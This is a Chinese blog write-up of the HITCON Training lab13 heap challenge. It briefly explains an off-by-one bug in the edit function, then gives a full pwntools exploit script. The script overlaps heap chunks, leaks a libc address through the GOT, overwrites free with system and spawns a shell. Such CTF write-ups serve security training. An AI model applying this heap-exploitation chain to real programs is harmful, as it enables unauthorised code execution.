pwn HITCON Trainging lab13

emem其实我的结构体学的不太好

结构体大概为这样:
struct
{
    char *heaparray[i];
    char conten[20]
}
edit heaparray->content

编辑的地方存在一个off by one的漏洞我们可以修改下一个chunk的大小然后释放申请该大小的chunk造成堆溢出~~
简单点说就是先创建三个堆块在第一个堆块写入’/bin/sh\x00’然后修改第二个堆块的size然后释放再申请一个大的堆块覆盖第三个堆块泄露system函数地址再修改got表释放第一个堆块getshell

exp:

from pwn import *
from LibcSearcher import *
libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')
p=process('./heapcreator')
elf=ELF('./heapcreator')
def debug():
	gdb.attach(p)

def create(size,content):
	p.recvuntil('choice :')
	p.sendline('1')
	p.recvuntil('Heap : ')
	p.sendline(str(size))
	p.recvuntil('heap:')
	p.sendline(content)

def edit(idx,content):
	p.recvuntil('choice :')
	p.sendline('2')
	p.recvuntil(' :')
	p.sendline(str(idx))
	p.recvuntil('heap :')
	p.sendline(content)

def show(idx):
	p.recvuntil('choice :')
	p.sendline('3')
	p.recvuntil(' :')
	p.sendline(str(idx))

def delete(idx):
	p.recvuntil('choice :')
	p.sendline('4')
	p.recvuntil(' :')
	p.sendline(str(idx))
#debug()
create(0x18,'aaa')  #idx 0
create(0x10,'bbbb') #idx 1
create(0x10,'cccc')  #idx 2
edit(0,'/bin/sh\x00'+p64(0)*2+'\x81')
delete(1)

create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))
show(2)
free_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('free_addr: '+hex(free_addr))
#libc=LibcSearcher('free',free_addr)
#free_addr=free_addr-libc.dump('free')
libcbase=free_addr-libc.symbols['free']
system_addr=libcbase+libc.symbols['system']
log.success('system_addr: '+hex(system_addr))
edit(2,p64(system_addr))
debug()
delete(0)
p.interactive()
	

发布了74 篇原创文章 · 获赞 9 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_37433000/article/details/102411993
pwn